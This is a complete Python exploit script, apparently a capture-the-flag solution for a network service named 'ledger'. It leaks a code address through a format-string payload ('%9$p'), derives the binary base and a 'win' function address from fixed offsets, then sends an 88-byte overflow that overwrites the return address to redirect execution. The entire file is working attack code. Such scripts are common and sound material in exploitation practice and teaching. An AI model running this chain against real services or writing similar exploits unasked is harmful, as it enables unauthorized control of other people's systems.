import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]


def until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        chunk = sock.recv(1)
        if not chunk:
            raise ConnectionError("ledger closed the connection")
        data.extend(chunk)
    return bytes(data)


def main():
    host, port = sys.argv[1], int(sys.argv[2])
    with socket.create_connection((host, port), timeout=3) as sock:
        until(sock, b"name> ")
        sock.sendall(b"%9$p\n")
        answer = until(sock, b"note> ")
        leaked = answer.split(b"hello ", 1)[1].split(b"\n", 1)[0]
        report_addr = int(leaked, 16)
        base = report_addr - 0x1412
        win = base + 0x11e0
        print("report", hex(report_addr), "win", hex(win))
        sock.sendall(b"B" * 88 + p64(win) + b"\n")
        print(until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 ledger.py HOST PORT")
    main()
